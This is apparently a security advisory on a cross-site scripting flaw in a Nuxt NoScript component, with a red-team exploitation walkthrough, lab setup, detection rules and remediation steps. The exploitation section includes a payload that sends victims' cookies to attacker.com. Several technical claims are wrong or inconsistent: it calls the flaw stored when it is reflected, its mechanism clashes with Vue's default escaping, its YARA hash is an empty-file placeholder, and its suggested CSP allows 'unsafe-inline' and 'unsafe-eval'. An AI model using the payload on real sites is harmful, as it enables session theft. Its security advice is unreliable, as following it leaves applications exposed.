CVE-2026-56317

Executive Summary

CVE-2026-56317 is a stored cross-site scripting (XSS) vulnerability in the Nuxt framework's NoScript component. The vulnerability arises because the component writes slot content directly to innerHTML without proper escaping. An attacker can inject malicious scripts through untrusted data, such as route.query parameters, which are then rendered in the document context when the browser implicitly closes the <noscript> tag upon encountering a <script> tag. This allows arbitrary JavaScript execution in the context of the victim's browser.

The vulnerability affects Nuxt versions before 4.4.7 (4.x branch) and before 3.21.7 (3.x branch). The CVSS score is 5.4 (Medium), with a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild at the time of analysis, but the public availability of PoC details increases the risk.

Supply Chain & Package Security

Nuxt is an open-source JavaScript framework distributed via npm. The vulnerability exists in the core framework package (nuxt). Users who install Nuxt via npm, yarn, or pnpm are affected if they use a vulnerable version. The supply chain risk is moderate, as the vulnerability is in a widely used framework component. Organizations should audit their package.json and lock files to ensure they are not using a vulnerable version. The fix is a simple version bump, but the impact of a successful XSS attack can be significant, including session hijacking, data theft, and malware delivery.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): Required (R) - The victim must visit a crafted URL or page.
• Scope (S): Changed (C) - The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) - Limited data exposure is possible.
• Integrity (I): Low (L) - Limited modification of data is possible.
• Availability (A): None (N) - No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and the potential for chaining with other attacks (e.g., phishing) elevate the risk. The vulnerability is particularly dangerous in applications that render user-supplied data in NoScript slots.

Deep Dive & Mechanics

The vulnerability is in the NoScript component of Nuxt. This component is designed to render content only when JavaScript is disabled in the browser. It uses the <noscript> HTML tag. The component accepts a default slot, and its content is written to the DOM using innerHTML.

The core issue is that the slot content is not sanitized or escaped before being assigned to innerHTML. When a developer uses the NoScript component with dynamic data, such as:

<template>
  <NoScript>
    <p>{{ route.query.message }}</p>
  </NoScript>
</template>

An attacker can craft a URL like:

https://vulnerable-site.com/?message=<script>alert('XSS')</script>

When the browser parses the resulting HTML, it encounters:

<noscript>
  <p><script>alert('XSS')</script></p>
</noscript>

The browser's HTML parser implicitly closes the <noscript> tag when it encounters the <script> tag (since <script> is not allowed inside <noscript>). This causes the script to execute in the document context, bypassing the intended protection of the <noscript> tag.

The fix in Nuxt 4.4.7 and 3.21.7 involves using textContent instead of innerHTML, or properly escaping the slot content before insertion. This prevents HTML injection.

Vulnerable vs. Patched Code

Vulnerable Code (Nuxt < 4.4.7 / < 3.21.7):

// NoScript.vue (simplified)
export default {
  mounted() {
    this.$el.innerHTML = this.$slots.default ? this.$slots.default()[0].children : '';
  }
}

Patched Code (Nuxt >= 4.4.7 / >= 3.21.7):

// NoScript.vue (simplified)
export default {
  mounted() {
    const content = this.$slots.default ? this.$slots.default()[0].children : '';
    this.$el.textContent = content; // Use textContent to prevent XSS
  }
}

The patched version uses textContent which automatically escapes HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable Nuxt application (version < 4.4.7 or < 3.21.7).
• A route that renders user input inside a <NoScript> component.

Exploitation Steps:

1. Identify a vulnerable endpoint: Find a page that uses the NoScript component with dynamic data, e.g., route.query.msg.

2. Craft the payload: Use a simple XSS payload:

   <script>alert(document.cookie)</script>
   

3. Deliver the payload: Send the victim a link:

   https://target.com/page?msg=<script>alert(document.cookie)</script>
   

4. Execute: When the victim visits the link, the script executes, displaying their cookies.

Advanced Payload (Session Hijacking):

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Lab Setup (Docker):

FROM node:18-alpine
WORKDIR /app
RUN npm init -y && npm install nuxt@3.21.6
COPY app.vue .
EXPOSE 3000
CMD ["npx", "nuxt", "dev"]

app.vue (vulnerable):

<template>
  <div>
    <NoScript>
      <p>{{ route.query.msg }}</p>
    </NoScript>
  </div>
</template>
<script setup>
const route = useRoute()
</script>

Blue Team

Detection:

• Monitor for URLs containing <script> tags in query parameters.
• Use WAF rules to block XSS patterns in query strings.
• Implement Content Security Policy (CSP) headers to mitigate impact.

Hunting:

• Search web server logs for requests with noscript in the URL path and suspicious query parameters.
• Look for anomalous JavaScript execution events in browser telemetry.

Mitigation:

• Immediately upgrade to Nuxt 4.4.7 or 3.21.7.
• If upgrade is not possible, sanitize all user input before passing it to the NoScript component.
• Use a client-side XSS filter (e.g., DOMPurify) as a temporary workaround.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests with query parameters containing <script> tags.
  • Outbound connections to known malicious domains from the application server.
• Host:
  • Unexpected JavaScript execution in the browser console.
  • Modified DOM elements containing injected scripts.
• Application:
  • Error logs showing innerHTML assignment with unsanitized data.
  • User reports of unexpected pop-ups or redirects.

Detection Engineering

YARA Rule

rule CVE_2026_56317_Nuxt_NoScript_XSS {
    meta:
        description = "Detects vulnerable Nuxt NoScript component usage"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-56317"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $vuln_pattern = /\.innerHTML\s*=\s*.*\$slots/
        $noscript_tag = /<noscript>/
    condition:
        $vuln_pattern and $noscript_tag
}

Sigma Rule

title: CVE-2026-56317 - Nuxt NoScript XSS Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS attempts targeting Nuxt NoScript component
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '<script>'
            - 'alert('
            - 'document.cookie'
    condition: selection
falsepositives:
    - Legitimate use of script tags in query parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-56317 - Nuxt NoScript XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"<script>"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Nuxt: Update to version 4.4.7 (4.x) or 3.21.7 (3.x) or later.

   npm install nuxt@4.4.7
   # or
   npm install nuxt@3.21.7
   

2. Sanitize Input: If upgrade is delayed, sanitize all user input before rendering in NoScript slots using a library like DOMPurify.
3. Implement CSP: Add a strict Content Security Policy to mitigate XSS impact.

   Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';
   

Long-Term Measures:

• Conduct a code review to identify all uses of innerHTML and replace with safe alternatives.
• Implement automated dependency scanning to detect vulnerable versions.
• Train developers on secure coding practices, especially regarding XSS prevention.

Valters IT
Securing digital frontiers, one CVE at a time.